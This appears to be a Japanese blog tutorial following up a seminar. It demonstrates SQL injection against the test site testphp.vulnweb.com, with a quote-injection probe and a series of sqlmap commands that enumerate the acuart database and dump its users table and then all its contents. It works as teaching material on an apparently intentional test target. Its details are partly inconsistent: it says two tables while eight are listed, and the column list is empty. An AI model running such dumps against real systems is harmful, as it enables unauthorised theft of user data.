Hello there, ('ω')ノ
先日のセミナーで実施したSQLインジェクションの応用編を。
下記のサイトへアクセスするとパラメータが存在していて。
http://testphp.vulnweb.com/listproducts.php?cat=1
ペイロードを追加してみると、データベースのエラーが。
つまり、SQLが存在していることを意味しているので。
http://testphp.vulnweb.com/listproducts.php?cat=1'
sqlmapを起動してデータベース名を探すことに。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
下記のデータベースが検出されたようで。
available databases [2]:
[*] acuart
[*] information_schema
次に検出されたデータベースのテーブルを。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
結果は、以下のとおり2つのテーブルが。
Database: acuart
[8 tables]
artists
carts
categ
featured
guestbook
pictures
products
users
次に検出されたテーブルのもつカラムを探索することに。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
usersには8つのカラムがあって。
Database: acuart
Table: users
[8 columns]
他のテーブルはというと。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T artists --columns --batch
そして、usersのテーブルのデータをダンプすることに。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
別途、categテーブルについても。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T categ --dump --batch
最後は、強力なダンプを。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --dump-all --batch
これで、手っ取り早くデータベースの全情報を取得できて。
Best regards, (^^ゞ